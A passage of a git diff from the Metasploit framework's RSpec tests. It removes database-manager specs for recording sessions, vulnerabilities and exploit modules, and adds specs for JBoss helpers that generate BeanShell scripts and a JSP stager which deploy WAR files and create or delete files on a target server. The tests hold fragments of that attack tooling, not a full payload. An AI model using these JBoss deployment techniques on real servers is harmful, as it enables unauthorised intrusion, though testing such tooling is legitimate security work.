'should create an Mdm::Session' do - expect { - report_session - }.to change(Mdm::Session, :count).by(1) - end - - it { should be_an Mdm::Session } - - it 'should set session.db_record to created Mdm::Session' do - mdm_session = report_session - - session.db_record.should == mdm_session - end - - context 'with session.via_exploit' do - it 'should create session.via_exploit module' do - framework.modules.should_receive(:create).with(session.via_exploit).and_call_original - - report_session - end - - it 'should create Mdm::Vuln' do - expect { - report_session - }.to change(Mdm::Vuln, :count).by(1) - end - - context 'created Mdm::Vuln' do - let(:mdm_session) do - Mdm::Session.last - end - - let(:rport) do - nil - end - - before(:each) do - Timecop.freeze - - session.exploit_datastore['RPORT'] = rport - - report_session - end - - after(:each) do - Timecop.return - end - - subject(:vuln) do - Mdm::Vuln.last - end - - its(:host) { should == Mdm::Host.last } - its(:refs) { should == [] } - its(:exploited_at) { should be_within(1.second).of(Time.now.utc) } - - context "with session.via_exploit 'exploit/multi/handler'" do - context "with session.exploit_datastore['ParentModule']" do - its(:info) { should == "Exploited by #{parent_module_fullname} to create Session #{mdm_session.id}" } - its(:name) { should == parent_module_name } - end - end - - context "without session.via_exploit 'exploit/multi/handler'" do - let(:reference_name) do - 'windows/smb/ms08_067_netapi' - end - - before(:each) do - path = File.join( - parent_path, - 'exploits', - "#{reference_name}.rb" - ) - type = 'exploit' - - # fake cache data for ParentModule so it can be loaded - framework.modules.send( - :module_info_by_path=, - { - path => - { - :parent_path => parent_path, - :reference_name => reference_name, - :type => type, - } - } - ) - - session.via_exploit = "#{type}/#{reference_name}" - end - - its(:info) { should == "Exploited by #{session.via_exploit} to create Session #{mdm_session.id}"} - its(:name) { should == reference_name } - end - - context 'with RPORT' do - let(:rport) do - # use service.port instead of having service use rport so - # that service is forced to exist before call to - # report_service, which happens right after using rport in - # outer context's before(:each) - service.port - end - - let(:service) do - FactoryGirl.create( - :mdm_service, - :host => host - ) - end - - its(:service) { should == service } - end - - context 'without RPORT' do - its(:service) { should be_nil } - end - end - - context 'created Mdm::ExploitAttempt' do - let(:rport) do - nil - end - - before(:each) do - Timecop.freeze - - session.exploit_datastore['RPORT'] = rport - - report_session - end - - after(:each) do - Timecop.return - end - - subject(:exploit_attempt) do - Mdm::ExploitAttempt.last - end - - its(:attempted_at) { should be_within(1.second).of(Time.now.utc) } - # @todo https://www.pivotaltracker.com/story/show/48362615 - its(:session_id) { should == Mdm::Session.last.id } - its(:exploited) { should == true } - # @todo https://www.pivotaltracker.com/story/show/48362615 - its(:vuln_id) { should == Mdm::Vuln.last.id } - - context "with session.via_exploit 'exploit/multi/handler'" do - context "with session.datastore['ParentModule']" do - its(:module) { should == parent_module_fullname } - end - end - - context "without session.via_exploit 'exploit/multi/handler'" do - before(:each) do - session.via_exploit = parent_module_fullname - end - - its(:module) { should == session.via_exploit } - end - end - end - - context 'returned Mdm::Session' do - before(:each) do - Timecop.freeze - end - - after(:each) do - Timecop.return - end - - subject(:mdm_session) do - report_session - end - - # - # Ensure session has attributes present so its on mdm_session are - # not just comparing nils. - # - - it 'should have session.info present' do - session.info.should be_present - end - - it 'should have session.sid present' do - session.sid.should be_present - end - - it 'should have session.platform present' do - session.platform.should be_present - end - - it 'should have session.type present' do - session.type.should be_present - end - - it 'should have session.via_exploit present' do - session.via_exploit.should be_present - end - - it 'should have session.via_payload present' do - session.via_exploit.should be_present - end - - its(:datastore) { should == session.exploit_datastore.to_h } - its(:desc) { should == session.info } - its(:host_id) { should == Mdm::Host.last.id } - its(:last_seen) { should be_within(1.second).of(Time.now.utc) } - its(:local_id) { should == session.sid } - its(:opened_at) { should be_within(1.second).of(Time.now.utc) } - its(:platform) { should == session.platform } - its(:routes) { should == [] } - its(:stype) { should == session.type } - its(:via_payload) { should == session.via_payload } - - context "with session.via_exploit 'exploit/multi/handler'" do - it "should have session.via_exploit of 'exploit/multi/handler'" do - session.via_exploit.should == 'exploit/multi/handler' - end - - context "with session.exploit_datastore['ParentModule']" do - it "should have session.exploit_datastore['ParentModule']" do - session.exploit_datastore['ParentModule'].should_not be_nil - end - - its(:via_exploit) { should == parent_module_fullname } - end - end - - context "without session.via_exploit 'exploit/multi/handler'" do - before(:each) do - reference_name = 'windows/smb/ms08_067_netapi' - path = File.join( - parent_path, - 'exploits', - "#{reference_name}.rb" - ) - type = 'exploit' - - # fake cache data for ParentModule so it can be loaded - framework.modules.send( - :module_info_by_path=, - { - path => - { - :parent_path => parent_path, - :reference_name => reference_name, - :type => type, - } - } - ) - - session.via_exploit = "#{type}/#{reference_name}" - end - - it "should not have session.via_exploit of 'exploit/multi/handler'" do - session.via_exploit.should_not == 'exploit/multi/handler' - end - - its(:via_exploit) { should == session.via_exploit } - end - end - end - end - - context 'without Msf::Session' do - let(:session) do - double('Not a Msf::Session') - end - - it 'should raise ArgumentError' do - expect { - report_session - }.to raise_error(ArgumentError, "Invalid :session, expected Msf::Session") - end - end - end - - context 'without :session' do - context 'with :host' do - before(:each) do - options[:host] = host - end - - context 'with Mdm::Host' do - let(:host) do - FactoryGirl.create(:mdm_host) - end - - context 'created Mdm::Session' do - let(:closed_at) do - nil - end - - let(:close_reason) do - 'Closed because...' - end - - let(:description) do - 'Session Description' - end - - let(:exploit_full_name) do - 'exploit/windows/smb/ms08_067_netapi' - end - - let(:last_seen) do - nil - end - - let(:opened_at) do - Time.now.utc - 5.minutes - end - - let(:payload_full_name) do - 'payload/singles/windows/metsvc_reverse_tcp' - end - - let(:platform) do - 'Host Platform' - end - - let(:routes) do - nil - end - - let(:session_type) do - 'Session Type' - end - - before(:each) do - options[:closed_at] = closed_at - options[:close_reason] = close_reason - options[:desc] = description - options[:last_seen] = last_seen - options[:opened_at] = opened_at - options[:platform] = platform - options[:routes] = routes - options[:stype] = session_type - options[:via_payload] = payload_full_name - options[:via_exploit] = exploit_full_name - end - - subject(:mdm_session) do - report_session - end - - its(:close_reason) { should == close_reason } - its(:desc) { should == description } - its(:host) { should == host } - its(:platform) { should == platform } - its(:stype) { should == session_type } - its(:via_exploit) { should == exploit_full_name } - its(:via_payload) { should == payload_full_name } - - context 'with :last_seen' do - let(:last_seen) do - opened_at - end - - its(:last_seen) { should == last_seen } - end - - context 'with :closed_at' do - let(:closed_at) do - opened_at + 1.minute - end - - its(:closed_at) { should == closed_at } - end - - context 'without :closed_at' do - its(:closed_at) { should == nil } - end - - context 'without :last_seen' do - context 'with :closed_at' do - let(:closed_at) do - opened_at + 1.minute - end - - its(:last_seen) { should == closed_at } - end - - context 'without :closed_at' do - its(:last_seen) { should be_nil } - end - end - - context 'with :routes' do - let(:routes) do - FactoryGirl.build_list( - :mdm_route, - 1, - :session => nil - ) - end - - its(:routes) { should == routes } - end - - context 'without :routes' do - its(:routes) { should == [] } - end - end - end - - context 'without Mdm::Host' do - let(:host) do - '192.168.0.1' - end - - it 'should raise ArgumentError' do - expect { - report_session - }.to raise_error(ArgumentError, "Invalid :host, expected Host object") - end - end - end - - context 'without :host' do - it 'should raise ArgumentError' do - expect { - report_session - }.to raise_error(ArgumentError) - end - end - end - end - - context 'without active' do - let(:active) do - false - end - - it { should be_nil } - - it 'should not create a connection' do - # 1st time for with_established_connection - ActiveRecord::Base.connection_pool.should_receive(:with_connection).once - - report_session - end - end - end - - context '#remove_module_details' do - def remove_module_details - db_manager.remove_module_details(mtype, refname) - end - - let(:migrated) do - false - end - - let(:mtype) do - FactoryGirl.generate :mdm_module_detail_mtype - end - - let(:refname) do - FactoryGirl.generate :mdm_module_detail_refname - end - - let!(:module_detail) do - FactoryGirl.create( - :mdm_module_detail - ) - end - - before(:each) do - db_manager.stub(:migrated => migrated) - end - - context 'with migrated' do - let(:migrated) do - true - end - - let!(:module_detail) do - FactoryGirl.create(:mdm_module_detail) - end - - context 'with matching Mdm::Module::Detail' do - let(:mtype) do - module_detail.mtype - end - - let(:refname) do - module_detail.refname - end - - it 'should destroy Mdm::Module::Detail' do - expect { - remove_module_details - }.to change(Mdm::Module::Detail, :count).by(-1) - end - end - - context 'without matching Mdm::Module::Detail' do - it 'should not destroy Mdm::Module::Detail' do - expect { - remove_module_details - }.to_not change(Mdm::Module::Detail, :count) - end - end - end - - context 'without migrated' do - it 'should not destroy Mdm::Module::Detail' do - expect { - remove_module_details - }.to_not change(Mdm::Module::Detail, :count) - end - end - end - - context '#search_modules' do - subject(:search_modules) do - db_manager.search_modules(search_string) - end - - let(:module_details) do - search_modules.to_a - end - - context 'with app keyword' do - let(:search_string) do - "app:#{app}" - end - - before(:each) do - Mdm::Module::Detail::STANCES.each do |stance| - FactoryGirl.create(:mdm_module_detail, :stance => stance) - end - end - - context 'with client' do - let(:app) do - 'client' - end - - it "should match Mdm::Module::Detail#stance 'passive'" do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.stance == 'passive' - }.should be_true - end - end - - context 'with server' do - let(:app) do - 'server' - end - - it "should match Mdm::Module::Detail#stance 'aggressive'" do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.stance == 'aggressive' - }.should be_true - end - end - end - - context 'with author keyword' do - let(:search_string) do - # us inspect so strings with spaces are quoted correctly - "author:#{author}" - end - - let!(:module_authors) do - FactoryGirl.create_list(:mdm_module_author, 2) - end - - let(:target_module_author) do - module_authors.first - end - - context 'with Mdm::Module::Author#email' do - let(:author) do - target_module_author.email - end - - it 'should match Mdm::Module::Author#email' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.authors.any? { |module_author| - module_author.email == target_module_author.email - } - }.should be_true - end - end - - context 'with Mdm::Module::Author#name' do - let(:author) do - # use inspect to quote space in name - target_module_author.name.inspect - end - - it 'should match Mdm::Module::Author#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.authors.any? { |module_author| - module_author.name == target_module_author.name - } - }.should be_true - end - end - end - - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :bid - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :cve - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :edb - - context 'with name keyword' do - let(:search_string) do - "name:#{name}" - end - - let!(:existing_module_details) do - FactoryGirl.create_list(:mdm_module_detail, 2) - end - - let(:target_module_detail) do - existing_module_details.first - end - - context 'with Mdm::Module::Detail#fullname' do - let(:name) do - target_module_detail.fullname - end - - it 'should match Mdm::Module::Detail#fullname' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.fullname == target_module_detail.fullname - }.should be_true - end - end - - context 'with Mdm::Module::Detail#name' do - let(:name) do - # use inspect so spaces are inside quotes - target_module_detail.name.inspect - end - - it 'should match Mdm::Module::Detail#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.name == target_module_detail.name - }.should be_true - end - end - end - - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :os - - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :osvdb - - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :platform - - context 'with ref keyword' do - let(:ref) do - FactoryGirl.generate :mdm_module_ref_name - end - - let(:search_string) do - # use inspect to quote spaces in string - "ref:#{ref.inspect}" - end - - let!(:module_ref) do - FactoryGirl.create(:mdm_module_ref) - end - - context 'with Mdm::Module::Ref#name' do - let(:ref) do - module_ref.name - end - - it 'should match Mdm::Module::Ref#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.refs.any? { |module_ref| - module_ref.name == ref - } - }.should be_true - end - end - - context 'without Mdm::Module::Ref#name' do - it 'should not match Mdm::Module::Ref#name' do - module_details.count.should == 0 - end - end - end - - context 'with type keyword' do - let(:type) do - FactoryGirl.generate :mdm_module_detail_mtype - end - - let(:search_string) do - "type:#{type}" - end - - let(:target_module_detail) do - all_module_details.first - end - - let!(:all_module_details) do - FactoryGirl.create_list(:mdm_module_detail, 2) - end - - context 'with Mdm::Module::Ref#name' do - let(:type) do - target_module_detail.mtype - end - - it 'should match Mdm::Module::Detail#mtype' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.mtype == type - }.should be_true - end - end - - context 'without Mdm::Module::Detail#mtype' do - it 'should not match Mdm::Module::Detail#mtype' do - module_details.count.should == 0 - end - end - end - - context 'without keyword' do - context 'with Mdm::Module::Action#name' do - let(:search_string) do - module_action.name - end - - let!(:module_action) do - FactoryGirl.create(:mdm_module_action) - end - - it 'should match Mdm::Module::Action#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.actions.any? { |module_action| - module_action.name == search_string - } - }.should be_true - end - end - - context 'with Mdm::Module::Arch#name' do - let(:search_string) do - module_arch.name - end - - let!(:module_arch) do - FactoryGirl.create(:mdm_module_arch) - end - - it 'should match Mdm::Module::Arch#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.archs.any? { |module_arch| - module_arch.name == search_string - } - }.should be_true - end - end - - context 'with Mdm::Module::Author#name' do - let(:search_string) do - module_author.name - end - - let!(:module_author) do - FactoryGirl.create(:mdm_module_author) - end - - it 'should match Mdm::Module::Author#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.authors.any? { |module_author| - module_author.name == search_string - } - }.should be_true - end - end - - context 'with Mdm::Module::Detail' do - let(:target_module_detail) do - all_module_details.first - end - - let!(:all_module_details) do - FactoryGirl.create_list(:mdm_module_detail, 3) - end - - context 'with #description' do - let(:search_string) do - # use inspect to quote spaces in string - target_module_detail.description.inspect - end - - it 'should match Mdm::Module::Detail#description' do - module_details.count.should == 1 - - module_details.all? { |module_detail| - module_detail.description == target_module_detail.description - }.should be_true - end - end - - context 'with #fullname' do - let(:search_string) do - target_module_detail.fullname - end - - it 'should match Mdm::Module::Detail#fullname' do - module_details.count.should == 1 - - module_details.all? { |module_detail| - module_detail.fullname == search_string - }.should be_true - end - end - - context 'with #name' do - let(:search_string) do - # use inspect to quote spaces in string - target_module_detail.name.inspect - end - - it 'should match Mdm::Module::Detail#name' do - module_details.count.should == 1 - - module_details.all? { |module_detail| - module_detail.name == target_module_detail.name - }.should be_true - end - end - end - - context 'with Mdm::Module::Platform#name' do - let(:search_string) do - module_platform.name - end - - let!(:module_platform) do - FactoryGirl.create(:mdm_module_platform) - end - - it 'should match Mdm::Module::Platform#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.platforms.any? { |module_platform| - module_platform.name == search_string - } - }.should be_true - end - end - - context 'with Mdm::Module::Ref#name' do - let(:search_string) do - module_ref.name - end - - let!(:module_ref) do - FactoryGirl.create(:mdm_module_ref) - end - - it 'should match Mdm::Module::Ref#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.refs.any? { |module_ref| - module_ref.name == search_string - } - }.should be_true - end - end - - context 'with Mdm::Module::Target#name' do - let(:search_string) do - module_target.name - end - - let!(:module_target) do - FactoryGirl.create(:mdm_module_target) - end - - it 'should match Mdm::Module::Target#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.targets.any? { |module_target| - module_target.name == search_string - } - }.should be_true - end - end - end - end - - context '#update_all_module_details' do - def update_all_module_details - db_manager.update_all_module_details - end - - let(:migrated) do - false - end - - before(:each) do - db_manager.stub(:migrated => migrated) - end - - context 'with migrated' do - let(:migrated) do - true - end - - let(:modules_caching) do - true - end - - before(:each) do - db_manager.stub(:modules_caching => modules_caching) - end - - context 'with modules_caching' do - it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) - - update_all_module_details - end - end - - context 'without modules_caching' do - let(:modules_caching) do - false - end - - it 'should create a connection' do - ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice.and_call_original - - update_all_module_details - end - - it 'should set framework.cache_thread to current thread and then nil around connection' do - framework.should_receive(:cache_thread=).with(Thread.current).ordered - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered - framework.should_receive(:cache_thread=).with(nil).ordered - - update_all_module_details - - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original - end - - it 'should set modules_cached to false and then true around connection' do - db_manager.should_receive(:modules_cached=).with(false).ordered - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered - db_manager.should_receive(:modules_cached=).with(true).ordered - - update_all_module_details - - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original - end - - it 'should set modules_caching to true and then false around connection' do - db_manager.should_receive(:modules_caching=).with(true).ordered - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered - db_manager.should_receive(:modules_caching=).with(false).ordered - - update_all_module_details - - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original - end - - context 'with Mdm::Module::Details' do - let(:module_pathname) do - parent_pathname.join( - 'exploits', - "#{reference_name}.rb" - ) - end - - let(:modification_time) do - module_pathname.mtime - end - - let(:parent_pathname) do - Metasploit::Framework.root.join('modules') - end - - let(:reference_name) do - 'windows/smb/ms08_067_netapi' - end - - let(:type) do - 'exploit' - end - - let!(:module_detail) do - # needs to reference a real module so that it can be loaded - FactoryGirl.create( - :mdm_module_detail, - :file => module_pathname.to_path, - :mtime => modification_time, - :mtype => type, - :ready => ready, - :refname => reference_name - ) - end - - context '#ready' do - context 'false' do - let(:ready) do - false - end - - it_should_behave_like 'Msf::DBManager#update_all_module_details refresh' - end - - context 'true' do - let(:ready) do - true - end - - context 'with existing Mdm::Module::Detail#file' do - context 'with same Mdm::Module::Detail#mtime and File.mtime' do - it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) - - update_all_module_details - end - end - - context 'without same Mdm::Module::Detail#mtime and File.mtime' do - let(:modification_time) do - # +1 as rand can return 0 and the time must be different for - # this context. - super() - (rand(1.day) + 1) - end - - it_should_behave_like 'Msf::DBManager#update_all_module_details refresh' - end - end - - # Emulates a module being removed or renamed - context 'without existing Mdm::Module::Detail#file' do - # have to compute modification manually since the - # `module_pathname` refers to a non-existent file and - # `module_pathname.mtime` would error. - let(:modification_time) do - Time.now.utc - 1.day - end - - let(:module_pathname) do - parent_pathname.join('exploits', 'deleted.rb') - end - - it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) - - update_all_module_details - end - end - end - end - end - end - end - - context 'without migrated' do - it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) - - update_all_module_details - end - end - end - - context '#update_module_details' do - def update_module_details - db_manager.update_module_details(module_instance) - end - - let(:loader) do - loader = framework.modules.send(:loaders).find { |loader| - loader.loadable?(parent_path) - } - - # Override load_error so that rspec will print it instead of going to framework log - def loader.load_error(module_path, error) - raise error - end - - loader - end - - let(:migrated) do - false - end - - let(:module_instance) do - # make sure the module is loaded into the module_set - loaded = loader.load_module(parent_path, module_type, module_reference_name) - - unless loaded - module_path = loader.module_path(parent_path, type, module_reference_name) - - fail "#{description} failed to load: #{module_path}" - end - - module_set.create(module_reference_name) - end - - let(:module_set) do - framework.modules.module_set(module_type) - end - - let(:module_type) do - 'exploit' - end - - let(:module_reference_name) do - 'windows/smb/ms08_067_netapi' - end - - let(:parent_path) do - parent_pathname.to_path - end - - let(:parent_pathname) do - Metasploit::Framework.root.join('modules') - end - - let(:type_directory) do - 'exploits' - end - - before(:each) do - db_manager.stub(:migrated => migrated) - end - - context 'with migrated' do - let(:migrated) do - true - end - - it 'should create connection' do - ActiveRecord::Base.connection_pool.should_receive(:with_connection) - ActiveRecord::Base.connection_pool.should_receive(:with_connection).and_call_original - - update_module_details - end - - it 'should call module_to_details_hash to get Mdm::Module::Detail attributes and association attributes' do - db_manager.should_receive(:module_to_details_hash).and_call_original - - update_module_details - end - - it 'should create an Mdm::Module::Detail' do - expect { - update_module_details - }.to change(Mdm::Module::Detail, :count).by(1) - end - - - context 'module_to_details_hash' do - let(:module_to_details_hash) do - { - :mtype => module_type, - :privileged => privileged, - :rank => rank, - :refname => module_reference_name, - :stance => stance - } - end - - let(:privileged) do - FactoryGirl.generate :mdm_module_detail_privileged - end - - let(:rank) do - FactoryGirl.generate :mdm_module_detail_rank - end - - let(:stance) do - FactoryGirl.generate :mdm_module_detail_stance - end - - before(:each) do - db_manager.stub( - :module_to_details_hash - ).with( - module_instance - ).and_return( - module_to_details_hash - ) - end - - context 'Mdm::Module::Detail' do - subject(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:mtype) { should == module_type } - its(:privileged) { should == privileged } - its(:rank) { should == rank } - its(:ready) { should == true } - its(:refname) { should == module_reference_name } - its(:stance) { should == stance } - end - - context 'with :bits' do - let(:bits) do - [] - end - - before(:each) do - module_to_details_hash[:bits] = bits - end - - context 'with :action' do - let(:name) do - FactoryGirl.generate :mdm_module_action_name - end - - let(:bits) do - super() << [ - :action, - { - :name => name - } - ] - end - - it 'should create an Mdm::Module::Action' do - expect { - update_module_details - }.to change(Mdm::Module::Action, :count).by(1) - end - - context 'Mdm::Module::Action' do - subject(:module_action) do - module_detail.actions.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:name) { should == name } - end - end - - context 'with :arch' do - let(:name) do - FactoryGirl.generate :mdm_module_arch_name - end - - let(:bits) do - super() << [ - :arch, - { - :name => name - } - ] - end - - it 'should create an Mdm::Module::Arch' do - expect { - update_module_details - }.to change(Mdm::Module::Arch, :count).by(1) - end - - context 'Mdm::Module::Arch' do - subject(:module_arch) do - module_detail.archs.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:name) { should == name } - end - end - - context 'with :author' do - let(:email) do - FactoryGirl.generate :mdm_module_author_email - end - - let(:name) do - FactoryGirl.generate :mdm_module_author_name - end - - let(:bits) do - super() << [ - :author, - { - :email => email, - :name => name - } - ] - end - - it 'should create an Mdm::Module::Author' do - expect { - update_module_details - }.to change(Mdm::Module::Author, :count).by(1) - end - - context 'Mdm::Module::Author' do - subject(:module_author) do - module_detail.authors.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:name) { should == name } - its(:email) { should == email } - end - end - - context 'with :platform' do - let(:bits) do - super() << [ - :platform, - { - :name => name - } - ] - end - - let(:name) do - FactoryGirl.generate :mdm_module_platform_name - end - - it 'should create an Mdm::Module::Platform' do - expect { - update_module_details - }.to change(Mdm::Module::Platform, :count).by(1) - end - - context 'Mdm::Module::Platform' do - subject(:module_platform) do - module_detail.platforms.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:name) { should == name } - end - end - - context 'with :ref' do - let(:bits) do - super() << [ - :ref, - { - :name => name - } - ] - end - - let(:name) do - FactoryGirl.generate :mdm_module_ref_name - end - - it 'should create an Mdm::Module::Ref' do - expect { - update_module_details - }.to change(Mdm::Module::Ref, :count).by(1) - end - - context 'Mdm::Module::Ref' do - subject(:module_ref) do - module_detail.refs.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:name) { should == name } - end - end - - context 'with :target' do - let(:bits) do - super() << [ - :target, - { - :index => index, - :name => name - } - ] - end - - let(:index) do - FactoryGirl.generate :mdm_module_target_index - end - - let(:name) do - FactoryGirl.generate :mdm_module_target_name - end - - it 'should create an Mdm::Module::Target' do - expect { - update_module_details - }.to change(Mdm::Module::Target, :count).by(1) - end - - context 'Mdm::Module::Target' do - subject(:module_target) do - module_detail.targets.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:index) { should == index } - its(:name) { should == name } - end - end - end - end - - it_should_behave_like 'Msf::DBManager#update_module_details with module', - :reference_name => 'admin/2wire/xslt_password_reset', - :type => 'auxiliary' - - it_should_behave_like 'Msf::DBManager#update_module_details with module', - :reference_name => 'generic/none', - :type => 'encoder' - - it_should_behave_like 'Msf::DBManager#update_module_details with module', - :reference_name => 'windows/smb/ms08_067_netapi', - :type => 'exploit' - - it_should_behave_like 'Msf::DBManager#update_module_details with module', - :reference_name => 'x64/simple', - :type => 'nop' - - # @todo determine how to load a single payload to test payload type outside of msfconsole - - it_should_behave_like 'Msf::DBManager#update_module_details with module', - :reference_name => 'windows/escalate/screen_unlock', - :type => 'post' - end - - context 'without migrated' do - it 'should not create an Mdm::Module::Detail' do - expect { - update_module_details - }.to_not change(Mdm::Module::Detail, :count) - end - end - end + it_should_behave_like 'Msf::DBManager::ModuleCache' + it_should_behave_like 'Msf::DBManager::Note' + it_should_behave_like 'Msf::DBManager::Ref' + it_should_behave_like 'Msf::DBManager::Report' + it_should_behave_like 'Msf::DBManager::Route' + it_should_behave_like 'Msf::DBManager::Service' + it_should_behave_like 'Msf::DBManager::Session' + it_should_behave_like 'Msf::DBManager::SessionEvent' + it_should_behave_like 'Msf::DBManager::Sink' + it_should_behave_like 'Msf::DBManager::Task' + it_should_behave_like 'Msf::DBManager::Vuln' + it_should_behave_like 'Msf::DBManager::VulnAttempt' + it_should_behave_like 'Msf::DBManager::VulnDetail' + it_should_behave_like 'Msf::DBManager::WMAP' + it_should_behave_like 'Msf::DBManager::Web' + it_should_behave_like 'Msf::DBManager::Workspace' + + it { is_expected.to respond_to :check } + it { is_expected.to respond_to :error } + it { is_expected.to respond_to :initialize_database_support } + it { is_expected.to respond_to :service_name_map } + it { is_expected.to respond_to :warn_about_rubies } end diff --git a/spec/lib/msf/host_state_spec.rb b/spec/lib/msf/host_state_spec.rb new file mode 100644 index 0000000000..8c5ce13714 --- /dev/null +++ b/spec/lib/msf/host_state_spec.rb @@ -0,0 +1,27 @@ +RSpec.describe Msf::HostState do + context 'CONSTANTS' do + context 'Alive' do + subject(:alive) { + described_class::Alive + } + + it { is_expected.to eq('alive') } + end + + context 'Dead' do + subject(:dead) { + described_class::Dead + } + + it { is_expected.to eq('down') } + end + + context 'Unknown' do + subject(:unknown) { + described_class::Unknown + } + + it { is_expected.to eq('unknown') } + end + end +end \ No newline at end of file diff --git a/spec/lib/msf/http/jboss/base_spec.rb b/spec/lib/msf/http/jboss/base_spec.rb new file mode 100644 index 0000000000..7f8c211d58 --- /dev/null +++ b/spec/lib/msf/http/jboss/base_spec.rb @@ -0,0 +1,61 @@ +#-*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/http/jboss' + +describe Msf::HTTP::JBoss::Base do + subject do + mod = ::Msf::Exploit.new + mod.extend Msf::HTTP::JBoss + mod.send(:initialize) + mod + end + + describe "#deploy" do + before :each do + allow(subject).to receive(:send_request_cgi) do + if res_code.nil? + res = nil + else + res = Rex::Proto::Http::Response.new + res.code = res_code + end + + res + end + end + + let (:opts) do + { + 'uri' => '/jmx-console' + } + end + + it 'returns nil unless uri is provided' do + expect(subject.deploy).to be_nil + end + + context 'when server timeouts' do + let(:res_code) { nil } + it { expect(subject.deploy(opts, 1)).to be_nil } + end + + context 'when server returns 200' do + let(:res_code) { 200 } + it { expect(subject.deploy(opts)).to be_kind_of Rex::Proto::Http::Response } + end + + context 'when server returns 404' do + let(:res_code) { 404 } + it { expect(subject.deploy(opts, 1)).to be_kind_of Rex::Proto::Http::Response } + end + end + + describe "#http_verb" do + it "returns POST by default" do + expect(subject.http_verb).to eq("POST") + end + end + +end diff --git a/spec/lib/msf/http/jboss/bean_shell_scripts_spec.rb b/spec/lib/msf/http/jboss/bean_shell_scripts_spec.rb new file mode 100644 index 0000000000..33343e1a28 --- /dev/null +++ b/spec/lib/msf/http/jboss/bean_shell_scripts_spec.rb @@ -0,0 +1,77 @@ +#-*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/http/jboss' + +describe Msf::HTTP::JBoss::BeanShellScripts do + subject do + mod = ::Msf::Exploit.new + mod.extend Msf::HTTP::JBoss + mod.send(:initialize) + mod + end + + describe "#generate_bsh" do + context "when :create type is used" do + it { expect(subject.generate_bsh(:create, {})).to include('String jboss_home = System.getProperty("jboss.server.home.dir");') } + end + + context "when :create type is used" do + it { expect(subject.generate_bsh(:delete, {})).to include('String jboss_home = System.getProperty("jboss.server.home.dir");') } + end + + context "when invalid type is used" do + it { expect(subject.generate_bsh(:invalid, {})).to be_nil } + end + end + + describe "#stager_jsp" do + it "returns the JSP stager" do + expect(subject.stager_jsp('metasploit')).to include('System.getProperty("jboss.server.home.dir");') + end + + it "uses the provided application name" do + expect(subject.stager_jsp('metasploit')).to include('"/deploy/" + "metasploit.war";') + end + end + + describe "#create_file_bsh" do + it "returns the Bean Shell script" do + expect(subject.create_file_bsh({})).to include('String jboss_home = System.getProperty("jboss.server.home.dir");') + end + + context "when options are provided" do + let(:opts) do + { + :file => 'file', + :dir => 'dir', + :contents => 'contents' + } + end + + it { expect(subject.create_file_bsh(opts)).to include('String location = jboss_home + "/deploy/file";')} + it { expect(subject.create_file_bsh(opts)).to include('"/deploy/dir").mkdir()')} + it { expect(subject.create_file_bsh(opts)).to include('String val = "contents";')} + end + end + + describe "#delete_files_bsh" do + it "returns the Bean Shell script" do + expect(subject.delete_files_bsh({})).to include('String jboss_home = System.getProperty("jboss.server.home.dir");') + end + + context "when filenames are provided" do + let(:opts) do + { + 'one' => '/tmp/one', + 'two' => '/tmp/two' + } + end + + it { expect(subject.delete_files_bsh(opts)).to include('new File(jboss_home + "/deploy//tmp/one").delete();')} + it { expect(subject.delete_files_bsh(opts)).to include('new File(jboss_home + "/deploy//tmp/two").delete();')} + end + end + +end diff --git a/spec/lib/msf/http/jboss/bean_shell_spec.rb b/spec/lib/msf/http/jboss/bean_shell_spec.rb new file mode 100644 index 0000000000..da51447953 --- /dev/null +++ b/spec/lib/msf/http/jboss/bean_shell_spec.rb @@ -0,0 +1,100 @@ +#-*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/http/jboss' + +describe Msf::HTTP::JBoss::BeanShell do + + subject do + mod = ::Msf::Exploit.new + 